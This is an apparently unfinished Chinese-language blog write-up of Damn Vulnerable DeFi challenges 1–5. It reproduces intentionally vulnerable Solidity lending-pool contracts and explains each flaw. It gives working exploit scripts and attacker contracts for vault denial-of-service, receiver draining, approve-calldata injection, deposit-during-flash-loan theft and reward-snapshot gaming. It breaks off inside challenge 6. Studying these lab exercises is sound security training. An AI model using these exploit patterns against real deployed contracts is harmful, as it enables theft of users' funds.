Damn Vulnerable DeFi(未完待续)

Challenge #1 - Unstoppable

There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.

To pass the challenge, make the vault stop offering flash loans.

You start with 10 DVT tokens in balance.

Code

ReceiverUnstoppable.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solmate/src/auth/Owned.sol";
import { UnstoppableVault, ERC20 } from "../unstoppable/UnstoppableVault.sol";

/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
UnstoppableVault private immutable pool;

error UnexpectedFlashLoan();

constructor(address poolAddress) Owned(msg.sender) {
pool = UnstoppableVault(poolAddress);
}

function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0)
revert UnexpectedFlashLoan();

ERC20(token).approve(address(pool), amount);

return keccak256("IERC3156FlashBorrower.onFlashLoan");
}

function executeFlashLoan(uint256 amount) external onlyOwner {
address asset = address(pool.asset());
pool.flashLoan(
this,
asset,
amount,
bytes("")
);
}
}

UnstoppableVault.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solmate/src/utils/FixedPointMathLib.sol";
import "solmate/src/utils/ReentrancyGuard.sol";
import { SafeTransferLib, ERC4626, ERC20 } from "solmate/src/mixins/ERC4626.sol";
import "solmate/src/auth/Owned.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

/**
* @title UnstoppableVault
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;

uint256 public constant FEE_FACTOR = 0.05 ether;
uint64 public constant GRACE_PERIOD = 30 days;

uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;

address public feeRecipient;

error InvalidAmount(uint256 amount);
error InvalidBalance();
error CallbackFailed();
error UnsupportedCurrency();

event FeeRecipientUpdated(address indexed newFeeRecipient);

constructor(ERC20 _token, address _owner, address _feeRecipient)
ERC4626(_token, "Oh Damn Valuable Token", "oDVT")
Owned(_owner)
{
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}

/**
* @inheritdoc IERC3156FlashLender
*/
function maxFlashLoan(address _token) public view returns (uint256) {
if (address(asset) != _token)
return 0;

return totalAssets();
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
if (address(asset) != _token)
revert UnsupportedCurrency();

if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
return 0;
} else {
return _amount.mulWadUp(FEE_FACTOR);
}
}

function setFeeRecipient(address _feeRecipient) external onlyOwner {
if (_feeRecipient != address(this)) {
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
}

/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
revert CallbackFailed();
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}

/**
* @inheritdoc ERC4626
*/
function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}

/**
* @inheritdoc ERC4626
*/
function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant {}
}

Analysis

这道题是让我们阻止接下来的贷款,所以我们只需要关注UnstoppableVault合约的flashLoan()函数即可,这里我们能看到四个阻止合约贷款的条件,去掉我们一看就知道不能控制的条件外,只剩下了if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();这一个条件,这个条件成立的情况是该合约的所有代币的所有者都是合约本身,但如果我们像这个合约发送了一些代币后会发生什么情况,那就是合约本身的余额增加了,但是totalSupply没有增加,因为它只能通过mint()来更新,所以我们只需要像该合约发送一些代币即可

Attack

1
await token.transfer(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);

Challenge #2 - Naive receiver

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

Code

FlashLoanReceiver.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {

address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

error UnsupportedCurrency();

constructor(address _pool) {
pool = _pool;
}

function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}

if (token != ETH)
revert UnsupportedCurrency();

uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }

// Allow deposits of ETH
receive() external payable {}
}

NaiveReceiverLenderPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";

/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {

address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();

function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}

function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();

uint256 balanceBefore = address(this).balance;

// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}

if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();

return true;
}

// Allow deposits of ETH
receive() external payable {}
}

Analysis

这道题是让我们掏空用户合约的代币,我们可以看到每在池子借一笔闪电贷就会支付1 ether的代币,在用户合约中的onFlashLoan()的函数中检测了是否由闪电贷合约调用,但却没有检测这笔闪电贷是否由用户所借的,所以我们只需要调用flashLoan()并传入用户的FlashLoanReceiver合约地址即可

Attack

1
2
3
4
for(i=0;i<10;i++)
{
await pool.flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",1,"0x");
}

Challenge #3 - Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

Code

TrusterLenderPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;

DamnValuableToken public immutable token;

error RepayFailed();

constructor(DamnValuableToken _token) {
token = _token;
}

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();

return true;
}
}

Analysis

这道题是让我们将池子中的代币掏空,我们可以看到functionCall()函数,这个函数是Address库中的一个函数,相当于一个调用合约函数的call()函数,我们可以构造一个ERC20合约的approve()calldata,然后传入的targettoken的地址,授权给我们转账的金额,最后再通过transferFrom()将池子中的代币掏空

Attack

1
2
3
4
5
selector = Web3.utils.keccak256("approve(address,uint256)").slice(0,10);
param = '000000000000000000000000'+player.address.slice(2,)+Web3.eth.abi.encodeParameter('uint256',"1000000000000000000000000").slice(2,);
data = selector + param;
await pool.connect(player).flashLoan(0,player.address,token.address,data);
await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);

Challenge #4 - Side Entrance

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

Code

SideEntranceLenderPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}

/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;

error RepayFailed();

event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);

function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}

function withdraw() external {
uint256 amount = balances[msg.sender];

delete balances[msg.sender];
emit Withdraw(msg.sender, amount);

SafeTransferLib.safeTransferETH(msg.sender, amount);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}

Analysis

这道题就很简单了,我们可以调用flashLoan()借来池子中的所有钱,并通过execute()来调用题目合约的deposit()函数,将钱存入该池子,最后通过withdraw()函数取出所有钱

Attack

SideEntranceLenderPoolAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "./SideEntranceLenderPool.sol";


contract Attack {
SideEntranceLenderPool public pool;

constructor(address _pool){
pool=SideEntranceLenderPool(_pool);
}

function execute() external payable{
pool.deposit{value: msg.value}();
}

function attack(uint256 amount) external{
pool.flashLoan(amount);
}

function withdraw() external{
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}

fallback()external payable{

}
receive() external payable {

}
}
js
1
2
3
const attack = await (await ethers.getContractFactory('Attack', player)).deploy(pool.address);
await attack.connect(player).attack(ETHER_IN_POOL);
await attack.connect(player).withdraw();

Challenge #5 - The Rewarder

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

Code

AccountingToken.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "solady/src/auth/OwnableRoles.sol";

/**
* @title AccountingToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
* with snapshotting capabilities.
*/
contract AccountingToken is ERC20Snapshot, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;
uint256 public constant SNAPSHOT_ROLE = _ROLE_1;
uint256 public constant BURNER_ROLE = _ROLE_2;

error NotImplemented();

constructor() ERC20("rToken", "rTKN") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE);
}

function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}

function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) {
_burn(from, amount);
}

function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) {
return _snapshot();
}

function _transfer(address, address, uint256) internal pure override {
revert NotImplemented();
}

function _approve(address, address, uint256) internal pure override {
revert NotImplemented();
}
}

FlashLoanerPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flashloans of DVT
*/
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;

DamnValuableToken public immutable liquidityToken;

error NotEnoughTokenBalance();
error CallerIsNotContract();
error FlashLoanNotPaidBack();

constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}

function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));

if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}

if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}

liquidityToken.transfer(msg.sender, amount);

msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));

if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}
}

RewardToken.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "solady/src/auth/OwnableRoles.sol";

/**
* @title RewardToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract RewardToken is ERC20, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;

constructor() ERC20("Reward Token", "RWT") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE);
}

function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}
}

TheRewarderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/FixedPointMathLib.sol";
import "solady/src/utils/SafeTransferLib.sol";
import { RewardToken } from "./RewardToken.sol";
import { AccountingToken } from "./AccountingToken.sol";

/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
using FixedPointMathLib for uint256;

// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

uint256 public constant REWARDS = 100 ether;

// Token deposited into the pool by users
address public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public immutable accountingToken;

// Token in which rewards are issued
RewardToken public immutable rewardToken;

uint128 public lastSnapshotIdForRewards;
uint64 public lastRecordedSnapshotTimestamp;
uint64 public roundNumber; // Track number of rounds
mapping(address => uint64) public lastRewardTimestamps;

error InvalidDepositAmount();

constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token;
accountingToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

/**
* @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
* Also distributes rewards if available.
* @param amount amount of tokens to be deposited
*/
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}

accountingToken.mint(msg.sender, amount);
distributeRewards();

SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}

function withdraw(uint256 amount) external {
accountingToken.burn(msg.sender, amount);
SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
}

function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}

function _recordSnapshot() private {
lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
lastRecordedSnapshotTimestamp = uint64(block.timestamp);
unchecked {
++roundNumber;
}
}

function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
&& lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

TheRewarderPool.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/FixedPointMathLib.sol";
import "solady/src/utils/SafeTransferLib.sol";
import { RewardToken } from "./RewardToken.sol";
import { AccountingToken } from "./AccountingToken.sol";

/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
using FixedPointMathLib for uint256;

// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

uint256 public constant REWARDS = 100 ether;

// Token deposited into the pool by users
address public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public immutable accountingToken;

// Token in which rewards are issued
RewardToken public immutable rewardToken;

uint128 public lastSnapshotIdForRewards;
uint64 public lastRecordedSnapshotTimestamp;
uint64 public roundNumber; // Track number of rounds
mapping(address => uint64) public lastRewardTimestamps;

error InvalidDepositAmount();

constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token;//DamnValuableToken
accountingToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

/**
* @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
* Also distributes rewards if available.
* @param amount amount of tokens to be deposited
*/
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}

accountingToken.mint(msg.sender, amount);
distributeRewards();

SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}

function withdraw(uint256 amount) external {
accountingToken.burn(msg.sender, amount);
SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
}

function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}

function _recordSnapshot() private {
lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
lastRecordedSnapshotTimestamp = uint64(block.timestamp);
unchecked {
++roundNumber;
}
}

function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
&& lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

Analysis

这道题比较复杂,看了很久终于明白过来,先看js文件,这道题是让我们使得之前存在的用户在下次获得奖励时,要少于10**16个代币,同时奖励代币要多出来,我们要获得大于0的奖励并且要接近100 ether

我们可以先看看TheRewardPool合约,在这个合约当中我们可以看到一个与奖励机制有关的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}

在这个函数中我们可以看到调用者应获得的奖励的数额为amountDeposited.mulDiv(REWARDS, totalDeposits);,其中amountDeposited是调用者所拥有的accountToken的数量,而totalDeposits则是指amountToken的代币总额。

接下来我们看看需要满足的条件:

1.让我们使得之前存在的用户在下次获得奖励时,要少于10**16个代币:

想满足这个条件我们可以写出一个式子
$$
\frac{10010^{18}10010^{18}}{40010^{18}+?*10^{18}}> 10^{16}
$$

就可以计算得出$?> 999600$

2.我们要获得的奖励要接近100 ether,差距小于10**17

我们可以写出式子
$$
\frac{10010^{18}?10^{18}}{40010^{18}+?10^{18}}> 10010^{18}-10^{17}
$$
我们可以得到$?>399600$

跟据以上两个条件我们可以得出我们需要在TheRewarderPool中存入大于$999600*10^{18}$个liquidityToken,而如何获取这笔钱呢,我们可以看到FlashLoanPool合约中的闪电贷可以实现这个功能,同时还不需要手续费,并且当我们从TheRewarderPool中取出存款时也不会删除我们的奖励币,最重要的是AccountingToken合约引用的ERC20Snapshot合约中只重写了_beforeTokenTransfer()函数,而在ERC20_burn()函数中是先执行的_beforeTokenTransfer(),再去减的_totalSupply,所以在第三轮的五天内,totalDeposits的数值都不会变

Attack

TheRewarderPoolAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
import "./TheRewarderPool.sol";

contract TheRewarderPoolAttack{
FlashLoanerPool pool;
TheRewarderPool pool2;
RewardToken tokens;
DamnValuableToken public immutable liquidityToken;

constructor(address _addr,address _addr2,address _addr3,address liquidityTokenAddress){
pool = FlashLoanerPool(_addr);
pool2 = TheRewarderPool(_addr2);
tokens = RewardToken(_addr3);
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}

function Loan(uint256 amount) public {
pool.flashLoan(amount);
}

function receiveFlashLoan(uint256 amount) public{
liquidityToken.approve(address(pool2), amount);
pool2.deposit(amount);
pool2.withdraw(amount);
liquidityToken.transfer(address(pool), amount);
}

function withdraw(address player) public {
tokens.transfer(player,tokens.balanceOf(address(this)));
}

receive() external payable{

}
}
js
1
2
3
4
5
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
const attack = await(await ethers.getContractFactory('TheRewarderPoolAttack',player)).deploy(flashLoanPool.address,rewarderPool.address,rewardToken.address,liquidityToken.address);
const money = 999601n * 10n ** 18n;//大于999600 ether即可
await attack.connect(player).Loan(money);
await attack.connect(player).withdraw(player.address);

Challenge #6 - Selfie

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.

Code

ISimpleGovernance.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ISimpleGovernance {
struct GovernanceAction {
uint128 value;
uint64 proposedAt;
uint64 executedAt;
address target;
bytes data;
}

error NotEnoughVotes(address who);
error CannotExecute(uint256 actionId);
error InvalidTarget();
error TargetMustHaveCode();
error ActionFailed(uint256 actionId);

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
function executeAction(uint256 actionId) external payable returns (bytes memory returndata);
function getActionDelay() external view returns (uint256 delay);
function getGovernanceToken() external view returns (address token);
function getAction(uint256 actionId) external view returns (GovernanceAction memory action);
function getActionCounter() external view returns (uint256);
}

SimpleGovernance.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol"
;
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance is ISimpleGovernance {

uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
DamnValuableTokenSnapshot private _governanceToken;
